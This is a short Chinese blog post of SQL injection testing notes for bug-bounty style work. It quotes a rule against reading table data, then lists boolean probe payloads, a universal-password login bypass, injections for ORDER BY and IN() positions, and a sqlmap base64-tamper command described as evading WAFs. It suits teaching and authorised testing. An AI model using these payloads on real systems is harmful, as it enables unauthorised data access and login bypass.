sql注入测试规范
注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。对于UPDATE、DELETE、 INSERT 等注入类型,不允许使用自动化工具进行测试。
SRC行业安全测试规范 https://security.tencent.com/announcement/msg/180
sql注入原理
SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与 数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良 的程序当中 忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认 为是正常的SQL指令而执行,因此遭到破坏或是入侵。
普通测试: 整型:id=111-0与id=111-1
字符型: username=zhangsan' and 1=1# 与username=zhangsan' and 1=1#
搜索型:word=a%' and 1=1# 与 word=a%' and 1=2#
万能密码: 用户名填写 'or 1=1# 密码随意填
非常见位置测试:
order by [注入点]: 常见参数(orderby) //预编译对该位置sql注入无效
原值,if((1=1),1,(select 1 union select 2))
原值,if((1=2),1,(select 1 union select 2))
order by 列名 [注入点]: 常见默认值(desc、asc) //预编译对该位置sql注入无效
,if((1=1),1,(select 1 union select 2))
,if((1=2),1,(select 1 union select 2))
非常见位置测试:
in (注入点): 常见参数(ids或值中包含,的其他参数)
原值) and 1=1# 字符型:原值') and 1=1#
原值) and 1=2# 字符型:原值') and 1=2
base64参数的测试:
优势:绝大部分扫描器不会识别
参数经过base64转换后可以绕过waf
示例: http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D
利用:python sqlmap.py -u
"http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D" -p test_param --tamper
base64encode.py
标签:原值,sql,测试,SQL,select,注入
From: https://www.cnblogs.com/loayskt/p/17163603.html